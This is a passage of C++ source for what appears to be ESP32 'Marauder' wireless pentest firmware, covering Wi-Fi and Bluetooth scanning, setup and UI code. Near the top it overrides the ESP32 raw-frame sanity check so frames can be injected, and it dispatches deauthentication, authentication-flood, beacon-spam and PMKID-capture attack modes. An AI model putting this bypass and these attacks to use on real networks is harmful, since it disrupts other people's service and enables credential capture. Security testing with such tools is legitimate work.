WiFiScan.cpp 106 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  242. RunRawScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  246. RunAPScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_PWN)
  248. RunPwnScan(scan_mode, color);
  249. else if (scan_mode == WIFI_SCAN_DEAUTH)
  250. RunDeauthScan(scan_mode, color);
  251. else if (scan_mode == WIFI_PACKET_MONITOR) {
  252. #ifdef HAS_SCREEN
  253. RunPacketMonitor(scan_mode, color);
  254. #endif
  255. }
  256. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  258. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  260. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  261. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  262. else if (scan_mode == WIFI_ATTACK_AUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  264. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  265. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  266. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  267. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  268. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  269. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  270. else if (scan_mode == BT_SCAN_ALL) {
  271. #ifdef HAS_BT
  272. RunBluetoothScan(scan_mode, color);
  273. #endif
  274. }
  275. else if (scan_mode == BT_SCAN_SKIMMERS) {
  276. #ifdef HAS_BT
  277. RunBluetoothScan(scan_mode, color);
  278. #endif
  279. }
  280. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  281. RunEspressifScan(scan_mode, color);
  282. else if (scan_mode == LV_JOIN_WIFI) {
  283. #ifdef HAS_SCREEN
  284. RunLvJoinWiFi(scan_mode, color);
  285. #endif
  286. }
  287. else if (scan_mode == LV_ADD_SSID) {
  288. #ifdef HAS_SCREEN
  289. RunLvJoinWiFi(scan_mode, color);
  290. #endif
  291. }
  292. WiFiScan::currentScanMode = scan_mode;
  293. }
  294. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  295. // Common wifi attack configurations
  296. #ifdef HAS_SCREEN
  297. display_obj.TOP_FIXED_AREA_2 = 48;
  298. display_obj.tteBar = true;
  299. display_obj.print_delay_1 = 15;
  300. display_obj.print_delay_2 = 10;
  301. display_obj.initScrollValues(true);
  302. display_obj.tft.setTextWrap(false);
  303. display_obj.tft.setTextColor(TFT_BLACK, color);
  304. display_obj.tft.fillRect(0,16,240,16, color);
  305. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  306. display_obj.touchToExit();
  307. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  308. #endif
  309. packets_sent = 0;
  310. WiFi.mode(WIFI_AP_STA);
  311. //esp_wifi_init(&cfg);
  312. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  313. //esp_wifi_set_mode(WIFI_AP_STA);
  314. //esp_wifi_start();
  315. //esp_wifi_set_promiscuous_filter(NULL);
  316. esp_wifi_set_promiscuous(true);
  317. esp_wifi_set_max_tx_power(82);
  318. this->wifi_initialized = true;
  319. #ifdef MARAUDER_FLIPPER
  320. flipper_led.attackLED();
  321. #endif
  322. initTime = millis();
  323. }
  324. bool WiFiScan::shutdownWiFi() {
  325. if (this->wifi_initialized) {
  326. esp_wifi_set_promiscuous(false);
  327. WiFi.disconnect();
  328. WiFi.mode(WIFI_OFF);
  329. esp_wifi_set_mode(WIFI_MODE_NULL);
  330. esp_wifi_stop();
  331. esp_wifi_deinit();
  332. #ifdef MARAUDER_FLIPPER
  333. flipper_led.offLED();
  334. #endif
  335. this->wifi_initialized = false;
  336. return true;
  337. }
  338. else {
  339. return false;
  340. }
  341. }
  342. bool WiFiScan::shutdownBLE() {
  343. #ifdef HAS_BT
  344. if (this->ble_initialized) {
  345. pBLEScan->stop();
  346. pBLEScan->clearResults();
  347. BLEDevice::deinit();
  348. #ifdef MARAUDER_FLIPPER
  349. flipper_led.offLED();
  350. #endif
  351. this->ble_initialized = false;
  352. return true;
  353. }
  354. else {
  355. return false;
  356. }
  357. #endif
  358. return true;
  359. }
  360. // Function to stop all wifi scans
  361. void WiFiScan::StopScan(uint8_t scan_mode)
  362. {
  363. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  364. (currentScanMode == WIFI_SCAN_AP) ||
  365. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  366. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  367. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  368. (currentScanMode == WIFI_SCAN_PWN) ||
  369. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  370. (currentScanMode == WIFI_SCAN_EAPOL) ||
  371. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  372. (currentScanMode == WIFI_SCAN_ALL) ||
  373. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  374. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  375. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  376. (currentScanMode == WIFI_ATTACK_AUTH) ||
  377. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  378. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  379. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  380. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  381. (currentScanMode == WIFI_PACKET_MONITOR) ||
  382. (currentScanMode == LV_JOIN_WIFI))
  383. {
  384. this->shutdownWiFi();
  385. }
  386. else if ((currentScanMode == BT_SCAN_ALL) ||
  387. (currentScanMode == BT_SCAN_SKIMMERS))
  388. {
  389. #ifdef HAS_BT
  390. this->shutdownBLE();
  391. #endif
  392. }
  393. #ifdef HAS_SCREEN
  394. display_obj.display_buffer->clear();
  395. #ifdef SCREEN_BUFFER
  396. display_obj.screen_buffer->clear();
  397. #endif
  398. //Serial.print("display_buffer->size(): ");
  399. Serial.println(display_obj.display_buffer->size());
  400. display_obj.tteBar = false;
  401. #endif
  402. }
  403. String WiFiScan::getStaMAC()
  404. {
  405. char *buf;
  406. uint8_t mac[6];
  407. char macAddrChr[18] = {0};
  408. esp_wifi_init(&cfg);
  409. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  410. esp_wifi_set_mode(WIFI_MODE_NULL);
  411. esp_wifi_start();
  412. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  413. this->wifi_initialized = true;
  414. sprintf(macAddrChr,
  415. "%02X:%02X:%02X:%02X:%02X:%02X",
  416. mac[0],
  417. mac[1],
  418. mac[2],
  419. mac[3],
  420. mac[4],
  421. mac[5]);
  422. this->shutdownWiFi();
  423. return String(macAddrChr);
  424. }
  425. String WiFiScan::getApMAC()
  426. {
  427. char *buf;
  428. uint8_t mac[6];
  429. char macAddrChr[18] = {0};
  430. esp_wifi_init(&cfg);
  431. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  432. esp_wifi_set_mode(WIFI_MODE_NULL);
  433. esp_wifi_start();
  434. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  435. this->wifi_initialized = true;
  436. sprintf(macAddrChr,
  437. "%02X:%02X:%02X:%02X:%02X:%02X",
  438. mac[0],
  439. mac[1],
  440. mac[2],
  441. mac[3],
  442. mac[4],
  443. mac[5]);
  444. this->shutdownWiFi();
  445. return String(macAddrChr);
  446. }
  447. String WiFiScan::freeRAM()
  448. {
  449. char s[150];
  450. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  451. this->free_ram = String(esp_get_free_heap_size());
  452. return String(s);
  453. }
  454. // Function to start running a beacon scan
  455. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  456. {
  457. sd_obj.openCapture("ap");
  458. #ifdef MARAUDER_FLIPPER
  459. flipper_led.sniffLED();
  460. #endif
  461. Serial.println(text_table4[9] + (String)access_points->size());
  462. #ifdef HAS_SCREEN
  463. display_obj.TOP_FIXED_AREA_2 = 48;
  464. display_obj.tteBar = true;
  465. display_obj.print_delay_1 = 15;
  466. display_obj.print_delay_2 = 10;
  467. display_obj.initScrollValues(true);
  468. display_obj.tft.setTextWrap(false);
  469. display_obj.tft.setTextColor(TFT_WHITE, color);
  470. #ifndef MARAUDER_MINI
  471. display_obj.tft.fillRect(0,16,240,16, color);
  472. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  473. display_obj.touchToExit();
  474. #endif
  475. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  476. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  477. #endif
  478. esp_wifi_init(&cfg);
  479. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  480. esp_wifi_set_mode(WIFI_MODE_NULL);
  481. esp_wifi_start();
  482. esp_wifi_set_promiscuous(true);
  483. esp_wifi_set_promiscuous_filter(&filt);
  484. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  485. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  486. //else
  487. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  488. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  489. this->wifi_initialized = true;
  490. initTime = millis();
  491. }
  492. #ifdef HAS_SCREEN
  493. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  494. display_obj.tft.init();
  495. display_obj.tft.setRotation(1);
  496. #ifdef TFT_SHIELD
  497. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  498. Serial.println("Using TFT Shield");
  499. #else if defined(TFT_DIY)
  500. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  501. Serial.println("Using TFT DIY");
  502. #endif
  503. display_obj.tft.setTouch(calData);
  504. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  505. lv_disp_load_scr(scr);
  506. }
  507. #endif
  508. void WiFiScan::RunClearAPs() {
  509. #ifdef HAS_SCREEN
  510. display_obj.tft.setTextWrap(false);
  511. display_obj.tft.setFreeFont(NULL);
  512. display_obj.tft.setCursor(0, 100);
  513. display_obj.tft.setTextSize(1);
  514. display_obj.tft.setTextColor(TFT_CYAN);
  515. display_obj.tft.println(F(text_table4[9]));
  516. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  517. #else
  518. this->clearAPs();
  519. #endif
  520. }
  521. void WiFiScan::RunClearSSIDs() {
  522. #ifdef HAS_SCREEN
  523. display_obj.tft.setTextWrap(false);
  524. display_obj.tft.setFreeFont(NULL);
  525. display_obj.tft.setCursor(0, 100);
  526. display_obj.tft.setTextSize(1);
  527. display_obj.tft.setTextColor(TFT_CYAN);
  528. display_obj.tft.println(F(text_table4[11]));
  529. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  530. #else
  531. this->clearSSIDs();
  532. #endif
  533. }
  534. void WiFiScan::RunGenerateSSIDs(int count) {
  535. #ifdef HAS_SCREEN
  536. display_obj.tft.setTextWrap(false);
  537. display_obj.tft.setFreeFont(NULL);
  538. display_obj.tft.setCursor(0, 100);
  539. display_obj.tft.setTextSize(1);
  540. display_obj.tft.setTextColor(TFT_CYAN);
  541. display_obj.tft.println(F(text_table4[13]));
  542. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  543. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  544. #else
  545. this->generateSSIDs(count);
  546. #endif
  547. }
  548. void WiFiScan::RunShutdownWiFi() {
  549. #ifdef HAS_SCREEN
  550. display_obj.tft.setTextWrap(false);
  551. display_obj.tft.setFreeFont(NULL);
  552. display_obj.tft.setCursor(0, 100);
  553. display_obj.tft.setTextSize(1);
  554. display_obj.tft.setTextColor(TFT_CYAN);
  555. display_obj.tft.print(F(text_table4[16]));
  556. #endif
  557. if (this->wifi_initialized) {
  558. this->shutdownWiFi();
  559. #ifdef HAS_SCREEN
  560. display_obj.tft.setTextColor(TFT_GREEN);
  561. display_obj.tft.println(F("OK"));
  562. #endif
  563. }
  564. else {
  565. #ifdef HAS_SCREEN
  566. display_obj.tft.setTextColor(TFT_RED);
  567. display_obj.tft.println(F(text17));
  568. display_obj.tft.println(F(text_table4[17]));
  569. #endif
  570. }
  571. }
  572. void WiFiScan::RunShutdownBLE() {
  573. #ifdef HAS_SCREEN
  574. display_obj.tft.setTextWrap(false);
  575. display_obj.tft.setFreeFont(NULL);
  576. display_obj.tft.setCursor(0, 100);
  577. display_obj.tft.setTextSize(1);
  578. display_obj.tft.setTextColor(TFT_CYAN);
  579. display_obj.tft.print(F(text_table4[18]));
  580. #endif
  581. if (this->ble_initialized) {
  582. this->shutdownBLE();
  583. #ifdef HAS_SCREEN
  584. display_obj.tft.setTextColor(TFT_GREEN);
